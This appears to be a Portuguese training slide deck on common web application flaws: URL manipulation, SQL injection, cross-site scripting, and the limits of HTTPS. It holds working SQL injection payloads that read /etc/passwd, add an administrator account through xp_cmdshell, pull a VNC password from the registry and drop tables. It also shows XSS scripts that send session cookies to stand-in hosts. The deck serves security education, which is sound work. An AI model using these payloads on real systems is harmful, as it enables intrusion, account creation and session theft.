Falhas mais comuns em
aplicações WEB
Agenda
• Introdução
• Explicando cada ataque através de exemplos
– URL Manipulation
– SQL Injection
– XSS Cross Site Scripting
• Como resolve-los
• O que HTTPS nos oferece
– Porque HTTPS não resolve nossos problemas?
• Próximos passos do projeto ….
Introdução
• Os ataques a serviços de rede estão se
tornando muito sofisticados
• A criatividade humana não para
• Mas o que faltava?
– APLICAÇÕES!!! Mas será que é possível?
• Atualmente a maioria dos BUG’s reportados
estão em aplicações
• Application Security != Network Security
• Não se esqueçam: Quem provê acesso aos
dados? As aplicações !!!
Introdução – Lendas Urbanas
• Não ha problemas
– Até que a aplicação seja comprometida
• Erros de runtime não são problemas
(tratamento de erros)
– Exponham informações relevantes
– Consumam todo recurso do servidor
• Web Services não são vulneráveis
– Quase nunca testados e raramente
segurança é considerada
Introdução - Números
• Gartner
– 75% dos ataques acontecem no nível das aplicações
– Em caso de falha no sistema provavelmente os
desenvolvedores são três vezes mais culpados do
que os administradores de sistemas
• NIST
– 92% das vulnerabilidadces estão no nível das
aplicações
Introdução
• Nosso foco será demonstrar estes BUG’s de forma
prática
• Para nos proteger temos que entender das táticas e
armas no nosso inimigo
• Temos que ter nossas armas para nos defender !!!
Testes e segurança
por onde vai ….
Contexto
• Não há segurança de sistemas sem a
conjuncão de tres fatores
– Boas praticas de codificação
– Metodologia adequada (arquitetura e etc)
– Testes ..... E ai vem .....
O que é segurança
• Segurança em um “end line”
– Mas o que é isso?
– Não se discute segurança sem entender de
• Arquitetura de Computadores, Sistemas
Operacionais, Redes de computadores (protocolos
de comunicação, Linguagem de programação,
engenharia de software e Logica.
O que é segurança
• Entao o que eu preciso saber para se
poder testar ....
– Opção 1: seguir os procedimentos definidos
alguem que sabe disso tudo
– Opção 2: Saber disso tudo
Então para o que querem ....
Então para o que querem ....
Então para o que querem ....
Então para o que querem ....
Então para o que querem ....
Então para o que querem ....
Então para o que querem ....
Segurança de Redes
• Recursos
– Sites
• www.securityfocus.com
• www.cert.com
• www.rootkit.com
Segurança de Redes
– Periódicos
• Linux Journal
• Sys Admin Magazine
• Information Security
• SC Info Security Magazine
• Security Magazine (Nacional)
Testes
OSSTMM
• Agora faça seu checklist
– O que fazer?
– O que testar?
– Como fazer?
– São as resposta que queremos. Vamos começar por
.....
AQUI
Em Aplicações WEB
URL Manipulation
• O comando GET requisita informações
importantes na URL
• Os parâmetros podem ser manipulados para se
obter resultados satisfatórios
• O impacto é ALTO
• Variações podem ser feitas para se tentar obter
resultados interessantes
http://www.paladiontest.com/example?accountnumber=12345&d
ebitamount=1
URL Manipulation
URL Manipulation
SQL Injection
• A idéia é injetar um comando
SQL (Structured Query
Language) ou comando como
imput dos dados em um
formulário WEB
• Todos os parâmetros passados
são direcionados para o banco
de dados
• O atacante pode manipular com
as tabelas e dados diretamente
Causas - SQL Injection
public void OnLogon(object src, EventArgs e){
SqlConnection con = new SqlConnection(
"server=(local);database=myDB;uid=sa;pwd;" );
string query = String.Format(
"SELECT COUNT(*) FROM Users WHERE " +
"username='{0}' AND password='{1}'",
txtUser.Text, txtPassword.Text );
SqlCommand cmd = new SqlCommand(query, con);
conn.Open();
SqlDataReader reader = cmd.ExecuteReader();
try{
if(reader.HasRows())
IssueAuthenticationTicket();
else
TryAgain();
}
finally{
con.Close()
}
}
SQL Injection – Problemas
Esperado:
username: abc
password: teste123
Quando submetido a query será montada como:
select * from users where username='abc' and password = 'test123'
Não esperado:
username: abc'; -password:
A query enviada para o banco de dados será:
select * from users where uname='abc’; --' and password=''
SQL Injection – Problemas
Esperado:
Username: doug
Password: p@$$w0rd
SELECT COUNT(*)
FROM Users
WHERE username='doug' and password='p@$$w0rd'
Não esperado:
Username: ' OR 1=1 -Password:
SELECT COUNT(*)
FROM Users
WHERE username='' OR 1=1 -- and password=''
SQL Injection
Site vulnerável
Login com
Sucesso
http://target.site/login.jsp
`
Usuário Malicioso
Esperado
Não esperado
SQL Injection – Mais exemplos
Identificando campos de uma tabela
SELECT fieldlist
FROM table WHERE
field = 'x' AND email IS NULL; --';
Verificando se a tabela existe
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
SQL Injection – Mais exemplos
Procurando por usuários
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Maria%';
Ataques de força bruta
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = [email protected]' AND passwd = ‘senha123';
SQL Injection – Mais exemplos
Verificando as permissões no Database
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --';
Criando um usuário
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id',
'full_name')
VALUES ([email protected]',‘senha',
‘user',‘User da Internet');--';
SQL Injection – Mais exemplos
Alterando o mail de comunicação
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
UPDATE members SET email = [email protected]'
WHERE email = [email protected]';
Caracteres utilizados
' ou "
Utilizado para indicar tipo char
-- ou #
Comentário
/*…*/
Comentário de várias linhas
+
Adição, concatenação
||
Concatenação
%
Wildcard
?Param1=foo&Param2=bar Parâmetros da URL
PRINT
Muito utilizado quando não temos transações
@variable
Variável Local
@@variable
Variável Global
waitfor delay '0:0:10'
Delay
SQL Injection
• http://172.27.70.25/tikiwiki-1.8/tikidirectory_search.php?how=or&words=&w
here=all&sort_mode=delete%20*%20from
%20users_uses
Determinando a versão do
SGBD
• Na maioria do tempo as mensagens de erro nos
ajudam a identificar qual o SGBD utilizado
– As mensagens de erro ODBC mostram SGBD
utilizado
• Se não tivermos as mensagens ODBC
– Tentamos analisar qual a tecnologia utilizada na
aplicação e no servidor WEB
– Tentamos utilizar caracteres, comandos ou stored
procedures que geram erros específicos
Determinando a versão do
SGBD
MS SQL
T-SQL
Concatenat
e
Strings
' '+' '
Null
Isnull()
replace
Positio
n
MySQL Access
concat
(" ", " ")
Ifnull()
CHARIND
EX
LOCATE()
xp_cmdsh
interactio
ell
n
select
into
outfile /
dumpfile
Op Sys
" "&" "
Iff(Isnull()
)
InStr()
#date#
Oracle
PL/SQL
DB2
Postgres
PL/pgSQL
' '||' '
" "+" "
' '||' '
Ifnull()
Ifnull()
COALESC
E()
InStr()
InStr()
TEXTPOS(
)
utf_file
import
from
export to
Call
Interagindo com o sistema
Operacional
• Existem duas maneiras de se interagir com o
sistema operacional
– Lendo arquivos
• Obtendo arquivos de senhas
• Trocando senhas dos usuários
• Executando comandos que troquem parâmetros do sistema
– Execução direta de comandos
• Não ha limites !!!
• Qualquer ação depende do privilégio que o
usuários utilizado pelo SGBD possui
MySQL e a interação O.S.
• MySQL
– LOAD_FILE
• ' union select 1,load_file('/etc/passwd'),1,1,1;
– LOAD DATA INFILE
• create table temp( line blob );
• load data infile '/etc/passwd' into table temp;
• select * from temp;
– SELECT INTO OUTFILE
MS SQL e a interação O.S.
• MS SQL Server
– '; exec master..xp_cmdshell 'ipconfig > test.txt' -– '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT
tmp FROM 'test.txt' -– '; begin declare @data varchar(8000) ; set @data='| ' ; select
@[email protected]+txt+' | ' from tmp where txt<@data ; select
@data as x into temp end -– ' and 1 in (select substring(x,1,256) from temp) -– '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
Arquitetura mais comum
• Sempre tenha em mente
• O SQL normalmente é executado em um outro
servidor
• O servidor de BD normalmente não tem acesso
a Internet e é protegido
Web Server
Application Server
Paginas
WEB
Validação
Da
Entrada
Database Server
Execução
Do SQL
Comando de rede relevantes
• Usando a SP xp_cmdshell podemos
executar:
– Ipconfig /all
– Tracert myIP
– arp -a
– nbtstat -c
– netstat -ano
– route print
Manipulando com as
informações da rede
• '; declare @var varchar(256); set @var = ' del test.txt && arp -a >>
test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt &&
netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h
10 google.com >> test.txt'; EXEC master..xp_cmdshell @var -• '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' -• '; begin declare @data varchar(8000) ; set @data=': ' ; select
@[email protected]+txt+' | ' from tmp where txt<@data ; select @data
as x into temp end -• ' and 1 in (select substring(x,1,255) from temp) -• '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
Manipulando com o S.O.
• Linux MySQL
– ' union select 1, (load_file('/etc/passwd')),1,1,1;
• MS SQL Criando usuários
– '; exec xp_cmdshell 'net user /add victor
Pass123'-– '; exec xp_cmdshell 'net localgroup /add
administrators victor' --
• Iniciando serviços
– '; exec master..xp_servicecontrol 'start','FTP
Publishing' --
Obtendo a senha do VNC
• '; declare @out binary(8)
exec master..xp_regread
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\ORL\WinVNC3\Default',
@value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP-• ' and 1 in (select cast(x as varchar) from temp)
--
XSS Cross Site Scripting
WEB Session Hijaking
• Não a ligação entre o ID do login e o ID da
sessão
• A sessão do usuário pode ser roubada
• Impacto é ALTO
• A idéia e obter de alguma forma o HASH
da sessão
Cross Site Scripting
banco.com
sitehaker.com
Webpage + Cookies
Link malicioso em uma
pagina web ou e-mail
malicioso
Reflected Code
<SCRIPT>Envia o Cookie para
attacker.com</SCRIPT>
Executed
http://banco.com/login
Malicious Link
/ para
http://bank.com/account.jsp? <SCRIPT>Envia cookie
`
sitehaker.com
User
Cookie
Cross Site Scripting (XSS)
• Esta vulnerabilidade tira vantagens de
sites que não fazem o tratamento dos
dados de entrada.
• O POST contém um script que pode ser
executado via browser
<script>window.navigate("http://
somesite.net/steal.asp?cookie="
+document.cookie)</script>
XSS – Como o atacante depura
• Pode colocar uma mensagem no post
<script>alert(“this is
vulnerable”)</script>
• A aplicação retorna a sua submissão –
XSS – Exemplos
• Pode se receber um e-mail com o um
link
• O resultado é enviado para um site
http://www.mymail.com?search=“<
script>window.
navigate("http://badsite.net/st
eal.asp?cookie="+document.cooki
e)</script>”
XSS – Exemplos do passado
• http://www.fotolog.net/about.html?user=%3Cscript%3Eal
ert(%22rfdslabs%22)%3C/script%3E
• http://www.microsoft.com/education/?ID=MCTN&target=
http://www.microsoft.com/education/?ID=MCTN&target="
><script>alert(document.cookie)</script>
• http://hotwired.lycos.com/webmonkey/00/18/index3a_pa
ge2.html?tw=<script>alert(‘Test’);</script>
• http://www.shopnbc.com/listing.asp?qu=<script>alert(do
cument.cookie)</script>&frompage=4&page=1&ct=VVT
V&mh=0&sh=0&RN=1
• http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_se
arch_exe?search_text=%22%3E%3Cscript%3Ealert%28
document.cookie%29%3C%2Fscript%3E
•Solução
–Sempre valide a sessão com
login e os parâmetros críticos
Sistemas distribuídos
• Sistemas distribuídos podem ser vistos de maneira geral
como diferentes elementos de software (aplicações)
executando remotamente (ou em locais remotos) e se
comunicando para fornecer/consumir serviços.
–
–
–
–
–
–
–
Conjunto de máquinas autônomas
Interconectadas por canais de comunicação
Comunicando-se por troca de mensagens
Independência de falhas (falhas parciais)
Ausência de relógio global
Ausência de estado global
Estado compartilhado da aplicação (através de comunicação)
Sistemas distribuídos
• Além de considerar todos os problemas
anteriores
– Eles se potencializam num cenário distribuído
• Precisamos usar
– Comunicação Segura
– Autenticação
– Integridade dos dados trafegados
– Serviços de rede passam a ser problemas :
DNS Principalmente.
Comunicação segura
• O que podemos usar
– VPN: IPSec, PPTP, ....
– Custoso
– Por ser necessário uma configuração
especial, a aplicação depende não somente
dela mas da rede prover
– Mas lembre-se
A REDE É INSEGURA !!!!!
E a aplicação ?
• Autenticação
• Integridade dos dados trafegados
• Que tal uma PKI ?
– Temos Autenticação
– Temos Integridade e confidenciaidade se
encriptarmos os dados
O que HTTPS nos oferece
• HTTPS resolve os problemas de
segurança apontados anteriormente?
• Mas então para que usar HTTPS?
– Muitas vezes dizemos que o uso de HTTPS
nos temos o servidor seguro
O que HTTPS nos oferece
• HTTPS é a versão “segura” do protocolo
HTTP que implementa a autenticação e
encriptação da comunicação.
– Previne os ataques do tipo men-in-the-middle
e que dados interceptados sejam “lidos”
• A autenticação é uma característica muito
explorada atualmente
– ICP-BR
O que HTTPS nos oferece
1. Negocia qual sistema de
codificação será usado
durante a transferência
2. Estabelece e troca as
chaves de sessão entre o
cliente e o servidor
3. Opcionalmente autentica
o servidor para o cliente
4. Opcionalmente autentica
o cliente para o servidor
Autenticação usando
certificados e chaves
públicas/privadas
Web
server
Fase do desafio
(Mensagem Randômica)
Fase do desafio
(MensagemIdentificação
Randômica) da Conexão
Randômica (server)
Identificão da Conexão
Randômica (server)
Protocolos de
encriptação Protocolos de
Encriptação OK
OK!
End user
Se o cliente não tiver a chave pública da CA
(recebemos uma mensagem informando
O certificado não é valido)
CA chave pública
Chave e certificado
público do servidor
| Cancel | Always Trust | Trust this time |
Autenticação usando
certificados e chaves
públicas/privadas
Web
server
Fase do desafio
(Mensagem Randômica
Identificão da Conexão
Randômica (server)
Par de chaves
simétricas
Sessão master
End user
CA chave pública
Chave e certificado
público do servidor
(Encriptado)
Autenticação usando
certificados e chaves
públicas/privadas
Web
server
Fase do desafio
(Mensagem Randômica
Sessão master
dentificão da
da Conexão
Identificão
Randômica(server)
(server)
Randômica
A autenticação do
cliente pode começar
da Conecção
agora Idenfificão
Fase
do(server)
desafio
Randomica
Leitura
Par de chaves Escrita
simétricas
(Mensagem Randômica
Escrita
End user
CA chave pública
Chave e certificadoPar de chaves
público do servidor simétricas
Leitura
Porque HTTPS não resolve
nossos problemas?
• Porque nossos problemas não estão apenas nos
protocolos ou na comunicação. Temos
problemas nas aplicações e estas
hierarquicamente estão acima dos protocolos de
comunicação.
Autorização
• Associar direitos, capacidade e
“habilidades” associadas a um assunto
• A autorização geralmente vem após uma
autenticação
– Ex.: Uma vez que se sabe quem é o usuário foi
“autenticado” o serviço decidirá o que o
usuário pode fazer no contexto que ele esta
“autorizado”
Autorização
• RBAC
• Autorização baseada em perfil
• Autorização baseada em contexto
• http://maca.sourceforge.net
Auditoria
• Loggin analises
– Data warehouse
– Mineração de dados
• Correlação de eventos
Próximos passos
• Componente focado em resolver os problemas
apresentados
–
–
–
–
Não intrusivo
Flexível
Performance
Fácil de usar
• Autenticação
– Componente para autenticar
• Login/Senha
• Certificado Digital
• Biometria
Referências
• http://www.owasp.org/
• http://www.isecom.org/osstmm/
– Open-Source Security Testing Methodology Manual
• Web Application Disassembly with ODBC Error Messages
• JavaOne 2005
– Strategies for Securing Java™ Technology Code
– Web Services Security Attacks in Action
– 9 Ways to Hack a Web App
•
•
•
•
Advanced SQL Injection In SQL Server applications
Advanced Cross Site Scripting
CROSS-SITE TRACING (XST)
SQL Injection Signatures Evasion
FIM
Download

Falhas Comuns em Aplicações Web